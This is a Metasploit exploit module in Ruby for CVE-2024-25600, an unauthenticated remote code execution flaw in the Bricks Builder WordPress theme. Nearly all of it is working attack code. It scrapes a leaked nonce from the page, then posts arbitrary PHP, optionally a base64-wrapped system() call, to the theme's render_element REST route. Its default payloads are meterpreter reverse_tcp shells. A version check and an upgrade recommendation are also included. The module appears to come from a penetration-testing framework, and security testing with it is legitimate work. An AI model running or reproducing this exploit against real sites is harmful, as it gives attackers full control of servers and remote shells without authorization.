##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in Bricks Builder Theme',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in the
Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers
to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and
exploit the eval() function usage within the theme. Successful exploitation allows for full
control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher.
},
'Author' => [
'Calvin Alkan', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-25600'],
['URL', 'https://github.com/Chocapikk/CVE-2024-25600'],
['URL', 'https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6'],
['WPVDB', 'afea4f8c-4d45-4cc0-8eb7-6fa6748158bd']
],
'DisclosureDate' => '2024-02-19',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'Platform' => ['unix', 'linux', 'win', 'php'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :php_memory
}
],
[
'Unix In-Memory',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },
'Type' => :unix_memory
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' },
'Type' => :win_memory
}
],
],
'Privileged' => false
)
)
end
def fetch_nonce
uri = normalize_uri(target_uri.path)
res = send_request_cgi('method' => 'GET', 'uri' => uri)
return nil unless res&.code == 200
script_tag_match = res.body.match(%r{<script id="bricks-scripts-js-extra"[^>]*>([\s\S]*?)</script>})
return nil unless script_tag_match
script_content = script_tag_match[1]
nonce_match = script_content.match(/"nonce":"([a-f0-9]+)"/)
nonce_match ? nonce_match[1] : nil
end
def exploit
nonce = fetch_nonce
fail_with(Failure::NoAccess, 'Failed to retrieve nonce. Exiting...') unless nonce
print_good("Nonce retrieved: #{nonce}")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'ctype' => 'application/json',
'data' => {
'postId' => rand(1..10000).to_s,
'nonce' => nonce,
'element' => {
'name' => 'code',
'settings' => {
'executeCode' => 'true',
'code' => "<?php #{payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'))"} ?>"
}
}
}.to_json,
'vars_get' => {
'rest_route' => '/bricks/v1/render_element'
}
)
end
def check
return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?
wp_version = wordpress_version
print_status("WordPress Version: #{wp_version}") if wp_version
theme_check_code = check_theme_version_from_style('bricks', '1.9.6.1')
return CheckCode::Unknown('The Bricks Builder theme does not appear to be installed') unless theme_check_code
return CheckCode::Detected('The Bricks Builder theme is running but the version was unable to be determined') if theme_check_code.code == 'detected'
return CheckCode::Safe("The Bricks Builder is running version: #{theme_check_code.details[:version]}, which is not vulnerable.") unless theme_check_code.code == 'appears'
theme_version = theme_check_code.details[:version]
print_good("Detected Bricks Builder theme version: #{theme_version}")
CheckCode::Appears
end
end
